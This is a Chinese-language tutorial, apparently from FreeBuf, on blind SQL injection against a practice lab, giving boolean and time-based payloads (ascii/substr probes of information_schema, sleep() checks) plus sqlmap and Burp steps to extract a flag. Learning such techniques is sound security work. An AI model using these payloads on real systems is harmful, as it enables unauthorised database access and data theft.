SQL注入之盲注 – 作者:无名草talent

前言

注入攻击的本质: 把用户输入的数据当做代码执行

两个关键条件:

第一个是用户能够控制输入

第二个是原本程序要执行的代码,拼接了用户输入的数据然后进行执行

盲注所对应的是显错注入,

但很多时候,Web服务器关闭了错误回显,这时候我们该怎样实行SQL注入了呢,

union select 联合查询注入

updatexml 报错注入

盲注介绍

所谓的盲注就是在服务器没有错误回显的时候完成的注入攻击

服务器没有错误回显,对于攻击者来说缺少了非常重要的“调试信息”。

盲注的类型:

1626772135_60f692a77aaac1c905778.png!small?1626772136608

盲注需要掌握的几种函数

length() 函数 返回字符串的长度

substr() 截取字符串 (语法:SUBSTR(str,pos,len);) 

ascii() 返回字符的ascii码   [将字符变为数字wei]

sleep() 将程序挂起一段时间n为n秒

if(expr1,expr2,expr3) 判断语句 如果第一个语句正确就执行第二个语句如果错误执行第三个语句

盲注实战

布尔盲注

1.手工注

1.判断注入点

and -1=-1  页面返回有数据

and -1=-2  页面无结果返回

==》存在SQL注入

2. 判断当前页面字段总数

and -1=-1 order by 2 页面返回有数据

and -1=-2 order by 3 页面无结果返回

==》当前页面字段数为:2。

3.判断显示位

and -1=-2 union select 1,2 页面无结果返回

==》无回显点,应该是:盲注并且是布尔盲注(有明显的True和Flash)。

4.猜解当前数据库名称长度

and (length(database()))>11页面返回有数据

and (length(database()))>12页面无结果返回

==》当前数据库名称长度为:12。

5.用ASCII码猜解当前数据库名称

and ascii(substr(database(),1,1))=107 页面返回有数据

and ascii(substr(database(),2,1))=97 页面返回有数据

==》当前数据库 第一个字母是k,第二个字母是a…以此类推得到数据库库名是kanwolonxia。

注:判断ascii码范围不止是 ”=” 哦,还应该恰当使用 “>”,“<” 等符号。

6.猜表名

and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))=108  页面返回有数据

==》表名的 第一个字母是 l …然后以此类推得到 表名 loflag。

7.猜字段名

and (ascii(substr((select column_name from information_schema.columns where table_name=’loflag’ limit 1,1),1,1)))=102   页面返回有数据

==》字段名的第一个字母是 f…类推得到字段名 flaglo。

8.猜内容 

and (ascii(substr(( select flaglo from loflag limit 0,1),1,1)))=122  页面返回有数据

==》得到数据的第一个字母是 z…类推得到 数据zKaQ-QQQ

2.burp跑盲注

猜解当前数据库名称

1626788604_60f6d2fc309098274d29d.png!small?1626788604240

1626788648_60f6d328a1a6a53b1f679.png!small?1626788648675

1626788656_60f6d3306dfa796c68d94.png!small?1626788656453

1626788806_60f6d3c6e73d712895c28.png!small?1626788806977

1 107 k

2 97 a
3 110 n
4 119 w
5 111 o
6 108 l
7 111 o
8 110 n
9 103 g
10 120 x
11 105 i
12 97 a

得到 数据库名kanwolonxia…下面的burp跑的都差不多。

sqlmap跑布尔盲注

sqlmap.py -u http://inject2.lab.aqlab.cn:81/Pass-10/index.php?id=1

1626790692_60f6db244e2bf5d2704bd.png!small?1626790692277

基础命令:

-u 指定注入点

–dbs 跑库名

–tables 跑表名

–columns 跑字段名

–dump 枚举数据

-D 指定库 -T 指定表 -C 指定字段

其他的按照我的上篇文章里面的sqlmap操作步骤:

https://www.freebuf.com/articles/web/281064.html

时间盲注

1.判断注入点

“and -1=-1– w  页面返回有数据

“and -1=-2– w  页面返回有数据

==》页面的返回没有变化,可能是盲注

然后用sleep()判断是否是时间盲注

“and sleep(5)– w    页面延时了

==》该盲注是时间盲注。

2.猜解当前数据库名称长度

“and if((length(database()))=12,sleep(5),1)– w  页面延时了

==》当前数据库名称长度为 12

3.用ASCII码猜解当前数据库名称

“and if(ascii(substr(database(),1,1))=107,sleep(5),1)– w  页面延时了

==》数据库第一个字母是k… 类推得到数据库名kanwolonxia。

后面的跟上面的差不多就是多了一个 if() 函数。

并且用Burp和Salmap的方法也都类似。

延时盲注其实和布尔盲注其实没有什么太大的区别,只不过是一个依靠页面是否正常判断,一个是否延时判断,在操作上其实也差不多,只不过延时多一个if()。

来源:freebuf.com 2021-07-21 11:03:07 by: 无名草talent

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论